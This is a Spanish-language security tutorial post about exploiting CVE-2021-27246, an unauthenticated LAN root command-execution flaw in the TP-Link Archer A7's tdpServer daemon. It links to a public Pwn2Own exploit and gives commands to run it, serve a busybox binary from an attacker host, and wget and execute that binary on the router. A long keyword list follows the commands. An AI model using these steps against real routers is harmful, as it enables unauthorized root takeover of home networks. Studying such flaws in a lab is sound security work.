TU ROUTER ES MIO con KALI LINUX | Seguridad Informática

[admin]

La vulnerabilidad existe en el demonio tdpServer (/usr/bin/tdpServer), que se ejecuta en el enrutador TP-Link Archer A7 (AC1750), versión de hardware 5, Arquitectura MIPS. Esta vulnerabilidad solo puede ser aprovechada por un atacante en el lado LAN del enrutador, pero la autenticación no es necesaria. Después de la explotación, un atacante puede ejecutar cualquier comando como root, incluida la descarga y ejecución de un binario desde otro host.


 
LABORATORIO de PRUEBA


 
LINKS IMPORTANTES

https://busybox.net/downloads/binaries/1.19.0/


https://www.synacktiv.com/publications/ ... c1750.html


https://github.com/synacktiv/CVE-2021-27246_Pwn2Own2020


https://www.tp-link.com/es/support/down ... /#Firmware


https://www.zerodayinitiative.com/blog/ ... 2own-tokyo

COMANDOS

Código: Seleccionar todo

chmod +x exploit.sh pwn.sh tddp.py tdpwn.py

git clone https://github.com/synacktiv/CVE-2021-27246_Pwn2Own2020


bash exploit.sh

cd /tmp/
netstat -lptnu
sudo python -m http.server 80
wget http://192.168.0.100/busybox-mips
chmod +x busybox-mips
./busybox-mips
./busybox-mips netstat -lptnu

VIDEO TURORIAL



D-link
Linksys
Installation and configuration
How to install
Instalacion
Installation
How to use
Como usar
Como Instalar
Como buscar
Como Encontrar
How to find
Remotely
Pentesting
python
perl
synology
xpenology
microsoft windows
Security Technologies
Nmap
Sistema operativo
Operating Systems
Scanner
Remote
Remota
nstalar
Instalación y configuración
Install and configure
ssh
DNS
Realizar
http
https
Routing
Enrutamiento
SOHO NETWORKS
Metasploit
TP-Link Archer A7
Archer C7
Unauthenticated LAN Remote Code Execution
LAN | Local Area Network
bypass
SQL Injection
CMD execution
RFI
LFI
Routers del Hogar
Movistar
Personal
Totalplay
Fibra Optica
Telmex
Vodafone
Orange
Huawei
Wifi
Red Inalámbrica
TP-Link
hacking,hacker,router,hackers,routers,ethical hacking,data center,routersploit,dream machine pro,hack,hacks,ccna
course,hack home network,access point,dream machine,nullbyte,spine leaf vs 3 tier,null byte,spine leaf data center,
kody kinzie,how to hack,ccent,cyber,howto,spine leaf architecture benefits,how to,ccna training,cisco training,
collapsed core,spine leaf ccna,tutorial,spine leaf cisco,wonderhowto,wht,networkchuck,cyber weapon,network chuck
scanner,learn security,unix,ubuntu,debian,OSINT,oscp certification,try hack me,hacking,ethical hacker,ctf for beginners,
ehtical hacking,cyber seguridad,security,linux,tool,penetration tests,herramienta,linux for ethical hackers,capacitacion,
educacion,How Hackers Do It,cyber security,bug,exploit,tutorial,proteger computadoras,Information Systems Security Professional,
como usar kali linux,LAN,network,Roger Biderbost,comandos,commands,CVE,AC1750,firmware version